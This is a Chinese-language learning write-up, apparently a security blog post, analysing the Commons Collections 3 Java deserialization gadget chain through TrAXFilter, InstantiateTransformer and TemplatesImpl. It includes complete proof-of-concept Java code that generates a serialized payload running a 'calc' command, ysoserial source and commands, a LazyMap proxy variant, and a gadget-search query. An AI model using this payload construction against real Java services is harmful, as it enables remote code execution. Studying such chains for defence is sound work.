前言:cc2完成了,继续学习cc3,自己会发现明显现在跟cc链的速度会快很多,一点点积累,一点点进步!

注意:CommonsCollections3不能在Java 8u71以上利用,也不是真的不能,通过部分修改,也可以实现利用,这些放在后面来讲,这篇文章来讲cc3

漏洞复现

ysoserial执行:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "calc" > cc3.txt

测试代码:

该调用链依赖的是commons-collections:3.1的包

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>

测试环境:jdk7u80

public class Test1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc3.txt"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以发现,成功执行命令!

java 连续调用方法创建对象_构造函数

调用链分析

我们现来看下ysoserial的调用链是怎么样的,结果打开cc3的实现,只发现了下面这一句话,它说变化的地方只有 cc1中使用InvokerTransformer替换成了InstantiateTransformer,其他的则没有变化

/*
 * Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.
 */

在cc1中使用的依赖项也是commons-collections:3.1的包,看到上面的变化我第一的反应就是 调用任意类除了InvokerTransformer类,InstantiateTransformer这个类也能使用任意方法调用吗

接着来看下InstantiateTransformer这个类,它的定义如下,可以看到它同样实现了transform方法

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

重点的部分则就是如下,它传入的第一个参数是 为Class类型的数组iParamTypes,第二个参数是 一个实例化对象的数组iArgs,通过这两个属性,当input对象传入的时候,来作为实现实例化该input Class对象的实例化对象

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

直接看ysoserial如何构造的,自己想着脑壳疼...

public Object getObject(final String command) throws Exception {
		Object templatesImpl = Gadgets.createTemplatesImpl(command);

		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		    new Transformer[]{ new ConstantTransformer(1) }
        );
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl } )
		};

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

Object templatesImpl = Gadgets.createTemplatesImpl(command);,可以看到显示创建了一个templatesImpl的对象,createTemplatesImpl这个其实在cc2中出现过了,cc2中则是通过控制这个templatesImpl中的_bytecodes中的字节数据从而进行命令执行runtime,在cc2中讲到过,所以这里就不继续讲,文件在ysoserial/payloads/util/Gadgets.java

构造了一个templatesImpl对象之后,那么还需要通过各种方法来进行实例化这个templatesImpl中的_bytecodes字节码数据,一般就是先定义Class对象,接着就是进行实例化,跟在cc2中分析的一样

那么在cc3中是如何实现的呢?显示创建了ChainedTransformer对象,准备进行构造调用链的操作,这里发现它在这里只存储了new ConstantTransformer(1),而在后面进行反射替换,这里原因不清楚为什么它要这样写,后面自己也给了一个例子,不通过反射来进行设置transformers属性,而是直接构造一个调用链,将transformers直接进行作为参数实例化的ChainedTransformer也一样可以进行调用,没有任何的影响!

// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		    new Transformer[]{ new ConstantTransformer(1) }
        );

接着就是构造transformers,发现这里执行命令的类不是Runtime.class,而是TrAXFilter.class,通过上面的观察我们知道了InstantiateTransformer能够进行实例化某个对象的任意构造方法的对象,那么这里就是构造TrAXFilter这个对象

final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl } )
		};

我们来到TrAXFilter中进行观察,它是如何进行的?看这个类的TrAXFilter的构造函数,它正好需要这个类Templates,那么借此配合ChainedTransformer构造成的调用链能够生成一个TrAXFilter的实例对象

public class TrAXFilter extends XMLFilterImpl {
    private Templates              _templates;
    private TransformerImpl        _transformer;
    private TransformerHandlerImpl _transformerHandler;
    private boolean _overrideDefaultParser;

    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }

接着在构造函数中又会看到_transformer = (TransformerImpl) templates.newTransformer();,有没有梦回cc2的感觉,cc2中也是通过newTransformer来进行利用

当在构造函数中_templates = templates;,接着又是_transformer = (TransformerImpl) templates.newTransformer();

这里不重新讲述了,因为在cc2中讲到过,cc2利用的就是通过newTransformer来进行链式调用实现的命令执行,重点在getTransletInstance中,这其中会进行定义templates对象中的_bytecodes来进行实例化,最终执行命令

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

到这里我们可以总结下自己已经实现的代码:

public class Test2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates, targetByteCodes);
        name.set(templates, "aaa");
        tfactory.set(templates, new TransformerFactoryImpl());

        // 进行调用
        templates.newTransformer();
    }
}

运行结果:

java 连续调用方法创建对象_实例化_02

到这里其实已经可以进行命令执行了,但是我们还需要进行触发条件,那么用谁去触发呢?接下来就是包装,也就是去找到有类能够帮我们进行触发newTransformer这个函数

这时候不知道你有没有想起cc1链又是如何进行实现的?这里用AnnotationInvocationHandler来作为触发点,该对象存在存在readObject则可以反序列化,并且其中会调用transformedMap的setValue方法来触发链式调用

最终构造如下:

public class Test2 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates, targetByteCodes);
        name.set(templates, "test");
        tfactory.set(templates, new TransformerFactoryImpl());

        // 进行调用
        //templates.newTransformer();
        // 创建Map对象

        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templates } )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);


        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        // 获取AnnotationInvocationHandler类对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object instance = declaredConstructor.newInstance(Target.class, transformedMap);

        FileOutputStream fileOutputStream = new FileOutputStream("cc3_t.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);

    }
}

java 连续调用方法创建对象_构造函数_03

到这里,一条完整的cc3 命令执行链就已经成功构建了,接下来继续来进行调试,上面通过序列化将数据写入到了cc3_t.txt中,下面来调试反序列化

调试反序列化过程

代码如下:

public class Test1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc3_t.txt"));
            is.readObject();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在AnnotationInvocationHandler.readObject下断点

java 连续调用方法创建对象_java 连续调用方法创建对象_04

接着开始进行调试,首先是defaultReadObject开始进行反序列化数据,这里反序列化出一个HashMap对象,也就是上面代码中的transformedMap对象

java 连续调用方法创建对象_java_05

接着下面就是开始进行触发,这里是用setValue进行触发

java 连续调用方法创建对象_构造函数_06

checkSetValue

java 连续调用方法创建对象_java_07

其中调用了transform,而transformedMap中的valueTransformer是一个ChainedTransformer的调用链

java 连续调用方法创建对象_实例化_08

开始进行链式调用

java 连续调用方法创建对象_java_09

InstantiateTransformer的transform方法进行任意对象实例化

java 连续调用方法创建对象_java 连续调用方法创建对象_10

这里的话是准备实例化TrAXFilter对象

java 连续调用方法创建对象_构造函数_11

接着又是调用newTransformer

java 连续调用方法创建对象_java 连续调用方法创建对象_12

getTransletInstance方法对其中的_bytecodes进行实例化,最终触发命令执行

java 连续调用方法创建对象_实例化_13

结果如下:

java 连续调用方法创建对象_构造函数_14

参考文章:

问题思考

1、为什么ysoserial中构造的不是跟上面一样的?

当你在看ysoserial中的cc3构造的时候,你会看到后面的代码是如下,跟我上面构造的对象不一样

final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

这里是通过LazyMap来进行触发的,这个是另外一种方法,我们也可以来学习下,它是如何触发的呢?

这里通过LazyMap来进行包装,其实到这里跟上面都差不多,最难理解的是接下来的操作

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

这两句话帮我们做了很多事情,看到InvocationHandler,那么肯定就跟动态代理有关

==============第一层InvocationHandler

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

java 连续调用方法创建对象_java_15

跟进去可以发现先是创建InvocationHandler,接着就是实例化对应的一个代理对象最后给了mapProxy变量,这里的mapProxy的handler中的memberValues为LazyMap,这样做的结果就会导致,当我们反序列化的时候在AnnotationInvocationHandler类调用invoke的方法的时候,就会继续触发到Map中继续执行代码

==============第二层InvocationHandler

接着看final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);,这里为什么又要进行创建一个InvocationHandler呢?

跟进来看下,它先通过getFirstCtor又获取了AnnotationInvocationHandler的构造器,然后又再次通过newInstance构造了一个动态代理的对象AnnotationInvocationHandler

java 连续调用方法创建对象_实例化_16

这里的话跟前面不一样,前面是创建代理对象(这个的目的是为了当AnnotationInvocationHandler调用invoke之后里面的函数能够触发get方法来进行继续执行),后面的代码又创建一个动态代理对象,为了反序列化readobject的时候调用中AnnotationInvocationHandler的memberValues的entrySet方法。

java 连续调用方法创建对象_java 连续调用方法创建对象_17

别人写的(与yso中实现的一样):

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        final Map testMap = new HashMap();

        Map evilMap = (Map) Proxy.newProxyInstance(
                testMap.getClass().getClassLoader(),
                testMap.getClass().getInterfaces(),
                secondInvocationHandler
        );

        final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);

最终的流程图:

java 连续调用方法创建对象_实例化_18

调试过程

环境:jdk7u80

java 连续调用方法创建对象_java 连续调用方法创建对象_19

F9

java 连续调用方法创建对象_构造函数_20

F9

java 连续调用方法创建对象_java_21

F9

java 连续调用方法创建对象_构造函数_22

F9

java 连续调用方法创建对象_java 连续调用方法创建对象_23

F9

java 连续调用方法创建对象_java 连续调用方法创建对象_24

参考文章:https://www.anquanke.com/post/id/230788#h3-7

tabby反序列化链条挖掘

source:任意类#readObject

chain:

sink:java.lang.reflect.Constructor#newInstance

这里的sink为什么选取的是java.lang.reflect.Constructor#newInstance,这里我们已经限制了transform方法,所以我们是可以先通过ConstantTransformer来进行控制,那么可以想下如果我们可以控制Constructor的newInstance的话,那么正好可以成功实例化一个对象

match (source:Method) where source.NAME="readObject"
match (sink:Method{CLASSNAME:"java.lang.reflect.Constructor", NAME:"newInstance"})
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
where any(n in nodes(path) where n.NAME="transform" and n.CLASSNAME="org.apache.commons.collections.Transformer")
return * limit 100

可以发现是可以找到一条通过InstantiateTransformer类来实现的反序列化链

java 连续调用方法创建对象_实例化_25

jdk8的情况下,可以看到三条readObject的路径,除了AnnotationInvocationHandler的,还有java.security.Permissions和javax.sql.rowset.serial.SQLInputImpl

虽然javax.sql.rowset.serial.SQLInputImpl是存在readObject并且是能利用的,但是该类并没有实现序列化接口,所以无法进行利用

java.security.Permissions中的话,相关Map字段无法进行控制,如下所示,所以同样无法进行利用

java 连续调用方法创建对象_构造函数_26